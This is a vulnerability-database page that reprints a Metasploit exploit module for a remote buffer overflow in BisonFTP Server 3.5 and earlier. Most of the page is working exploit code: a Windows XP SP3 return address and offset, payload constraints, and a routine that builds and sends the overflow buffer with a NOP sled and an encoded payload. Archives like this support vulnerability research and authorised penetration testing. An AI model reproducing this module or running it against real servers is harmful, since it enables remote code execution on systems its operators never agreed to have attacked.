Lucene search
K

BisonFTP Server <= 3.5 - Remote Buffer Overflow Exploit (MSF)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 59 Views

BisonFTP Server Remote Buffer Overflow <= v3.5 (MSF) Exploi

Code

                                                ##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server &#60;= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;BisonFTP Server Remote Buffer Overflow Vulnerability&#39;,
			&#39;Description&#39;    =&#62; %q{
						This module exploits a buffer overflow vulnerability
						found in the BisonFTP Server &#60;= v3.5.
			},
			&#39;Author&#39;         =&#62; 
				[
					&#39;localh0t&#39;,		# Initial PoC
					&#39;veerendragg @ SecPod&#39;,	# Metasploit Module
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 1.0 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;BID&#39;, &#39;49109&#39;],
					[ &#39;CVE&#39;, &#39;1999-1510&#39;],
					[ &#39;URL&#39;, &#39;http://secpod.org/blog/?p=384&#39;],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/17649&#39;],
					[ &#39;URL&#39;, &#39;http://secpod.org/msf/bison_server_bof.rb&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39; =&#62; 388,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x0d&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP3 EN&#39;,
						{
							&#39;Ret&#39; =&#62; 0x0040333f, # call edx from Bisonftp.exe
							&#39;Offset&#39; =&#62; 1432
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 07 2011&#39;,
			&#39;DefaultTarget&#39;	=&#62; 0))
	end

	def exploit
		connect

		print_status(&#34;Trying target #{target.name}...&#34;)
		print_status(&#34;Connected to #{datastore[&#39;RHOST&#39;]}:#{datastore[&#39;RPORT&#39;]}&#34;)
		sploit = rand_text_alpha(1028)					## Random Buffer
		sploit &#60;&#60; &#34;\x90&#34; * 16						## Padding
		sploit &#60;&#60; payload.encoded					## Encoded Payload
		sploit &#60;&#60; &#34;\x90&#34; * (388 - payload.encoded.length)		## More Nops
		sploit &#60;&#60; [target.ret].pack(&#39;V&#39;)				## Return Address
		sploit &#60;&#60; rand_text_alpha(39)					## MOre Buffer

		print_status(&#34;Sending payload...&#34;)
		sock.put(sploit)

		handler
		disconnect
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation